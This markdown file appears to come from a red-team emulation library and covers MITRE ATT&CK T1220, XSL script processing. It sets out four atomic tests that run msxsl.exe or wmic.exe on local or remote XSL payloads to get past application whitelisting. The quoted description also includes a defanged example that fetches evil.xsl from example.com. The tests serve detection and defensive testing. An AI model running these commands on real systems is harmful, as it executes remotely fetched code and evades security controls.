atomic-threat-coverage/Atomic_Threat_Coverage/Triggers/T1220.md
2019-02-12 04:55:11 +01:00

105 lines
5.0 KiB
Markdown

# T1220 - XSL Script Processing
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1220)
<blockquote>Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018)
Command-line example: (Citation: Penetration Testing Lab MSXSL July 2017)
* <code>msxsl.exe customers[.]xml script[.]xsl</code>
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool.
Command-line examples: (Citation: subTee WMIC XSL APR 2018)
* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code></blockquote>
## Atomic Tests
- [Atomic Test #1 - MSXSL Bypass using local files](#atomic-test-1---msxsl-bypass-using-local-files)
- [Atomic Test #2 - MSXSL Bypass using remote files](#atomic-test-2---msxsl-bypass-using-remote-files)
- [Atomic Test #3 - WMIC bypass using local XSL file](#atomic-test-3---wmic-bypass-using-local-xsl-file)
- [Atomic Test #4 - WMIC bypass using remote XSL file](#atomic-test-4---wmic-bypass-using-remote-xsl-file)
<br/>
## Atomic Test #1 - MSXSL Bypass using local files
Executes the code specified within a XSL script tag during XSL transformation using a local payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xmlfile | Location of the test XML file on the local filesystem. | Path | C:\AtomicRedTeam\atomics\T1220\src\msxsl-xmlfile.xml|
| xslfile | Location of the test XSL script file on the local filesystem. | Path | C:\AtomicRedTeam\atomics\T1220\src\msxsl-script.xsl|
#### Run it with `command_prompt`!
```
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
```
<br/>
<br/>
## Atomic Test #2 - MSXSL Bypass using remote files
Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xmlfile | Remote location (URL) of the test XML file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-xmlfile.xml|
| xslfile | Remote location (URL) of the test XSL script file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-script.xsl|
#### Run it with `command_prompt`!
```
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
```
<br/>
<br/>
## Atomic Test #3 - WMIC bypass using local XSL file
Executes the code specified within a XSL script using a local payload.
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| wmic_command | WMI command to execute using wmic.exe | string | process list|
| local_xsl_file | Location of the test XSL script file on the local filesystem. | path | C:\AtomicRedTeam\atomics\T1220\src\wmic-script.xsl|
#### Run it with `command_prompt`!
```
wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file}
```
<br/>
<br/>
## Atomic Test #4 - WMIC bypass using remote XSL file
Executes the code specified within a XSL script using a remote payload.
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| wmic_command | WMI command to execute using wmic.exe | string | process list|
| remote_xsl_file | Remote location of an XSL payload. | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmic-script.xsl|
#### Run it with `command_prompt`!
```
wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file}
```
<br/>